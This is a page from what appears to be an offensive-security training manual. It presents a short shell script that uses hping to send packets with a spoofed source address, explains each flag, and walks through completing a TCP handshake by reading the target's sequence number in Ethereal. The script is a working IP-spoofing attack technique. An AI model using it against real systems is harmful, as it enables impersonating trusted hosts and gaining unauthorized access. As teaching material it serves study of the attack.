Hack Security Pro.pdf - Index of

#!/bin/sh
/usr/sbin/hping -a 192.168.0.2 -p 2222 -s 2110 -S -M 33 -c 1 192.168.0.66
read u
/usr/sbin/hping -a 192.168.0.2 -p 2222 -A -s 2110 -L $u -M 34 -c 1 192.168.0.66
/usr/sbin/hping -a 192.168.0.2 -p 2222 -A -s 2110 -L $u -P -M 34 -c 1 -d 6 -E data 192.168.0.66
To make things clearer, we are going to describe the options used for this script:
-a : Address of the spoofed machine.
-p : Destination port of the packet.
-s : Port used by the emitting machine.
-S : SYN flag is initialized.
-M : The sequence number sent by the emitting machine is determined.
-c : Number of packets sent.
-A : ACK flag initialized.
-L : ACK number determined.
-P : PSH flag initialized.
-d : Can stipulate the size of data sent.
-E : Can “take” data from a file.
1. As seen previously, machine A is going to send a SYN packet to machine B, using of course the
address of (spoofed) machine C to prevent our packet being “dropped” by machine B (and so not
processed).
2. With the help of Ethereal we are going to recover the SYN/ACK packet that machine B is going to
send on to machine C.
3. As ACK, we send back the sequence number sent by machine B incremented by 1.
Machine B: SEQ=1442628982 ------> Machine A Answer: ACK=1442628983
Let us have a look at Ethereal ... (figure 4)
We can note that we have the same combination SYN,SYN/ACK,ACK, typical of an authorized
connection.
Bingo! The connection is now initialized.
The Hackademy DMP -74/209- SYSDREAM